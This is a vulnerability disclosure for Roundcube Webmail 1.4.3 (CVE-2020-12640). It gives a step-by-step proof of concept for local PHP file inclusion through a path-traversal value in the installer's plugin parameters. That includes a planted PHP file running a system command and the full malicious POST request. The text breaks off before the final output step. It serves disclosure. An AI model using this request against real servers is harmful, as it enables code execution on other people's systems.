Roundcube Disclosures

Version 1.4.3

Environment:

- Roundcube Version 1.4.3
- Linux

Findings:

1. CVE-2020-12640: Local PHP File Inclusion via “Plugin Value”

Description:
Because the “_plugins_<PLUGIN_NAME>” parameters do not perform sanitization/input filtering, an attacker with access to the Roundcube Installer can leverage a path traversal vulnerability to include PHP files on the local system.

An attacker with the possibility to create directories and files on the local system (e.g. via FTP, SSH, SMB, etc.) can leverage this vulnerability in order to obtain Code Execution as the user running the Roundcube Webmail application.

Proof of Concept:
In order to reproduce this vulnerability, the following steps are required:

1.1. Create a PHP file and directory to a known location. In this case we consider the attacker has obtained local write access to the target’s filesystem as a low privileged user and writes the files into a writable location (e.g. “/dev/shm/”):

```
guest@tester:/var/www/html/roundcube$ tree -l /dev/shm/
/dev/shm/
├── zipdownload
└── zipdownload.php

1 directory, 1 file
guest@tester:/var/www/html/roundcube$ cat /dev/shm/zipdownload.php
<?php

die(passthru('id'));

?>
guest@tester:/var/www/html/roundcube$
```

Note: In this case the “id” system command is executed and displayed.

1.2. Send a POST request to the Installer containing the malicious path traversal within a "_plugins_..." parameter:

```
POST /roundcube/installer/index.php HTTP/1.1
Host: 192.168.243.153
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 936

_step=2&_product_name=Roundcube+Webmail&_support_url=&_skin_logo=&_temp_dir=%2Fvar%2Fwww
%2Fhtml%2Froundcube%2Ftemp%2F&_des_key=aaCGmrf1vc2NIJ8whIA3aG9x&_enable_spellcheck=1&_sp
ellcheck_engine=googie&_identities_level=0&_log_driver=file&_log_dir=%2Fvar%2Fwww%2Fhtml
%2Froundcube%2Flogs%2F&_syslog_id=roundcube&_syslog_facility=8&_dbtype=mysql&_dbhost=loc
alhost&_dbname=roundcube&_dbuser=roundcube&_dbpass=roundcube&_db_prefix=&_default_host%5
B%5D=localhost&_default_port=143&_username_domain=&_auto_create_user=1&_sent_mbox=Sent&_
trash_mbox=Trash&_drafts_mbox=Drafts&_junk_mbox=Junk&_smtp_server=localhost&_smtp_port=5
87&_smtp_user=%25u&_smtp_pass=%25p&_smtp_user_u=1&_smtp_log=1&_language=&_skin=elastic&_
mail_pagesize=50&_addressbook_pagesize=50&_prefer_html=1&_htmleditor=0&_draft_autosave=3
00&_mdn_requests=0&_mime_param_folding=1&_plugins_autologon=autologon&_plugins_qwerty=..
/../../../../../dev/shm/zipdownload&submit=UPDATE+CONFIG
```

Note: By viewing the error logs, we can see that Roundcube now tries and fails to load the "/var/www/html/roundcube/plugins/../../../../../../dev/shm/zipdownload/../../../../../../dev/shm/zipdownload.php" file, which resolves to "**/dev/shm/zipdownload.php**".

1.3. If the attack was performed correctly, when accessing any page of the Roundcube application the attacker should be greeted with the following output: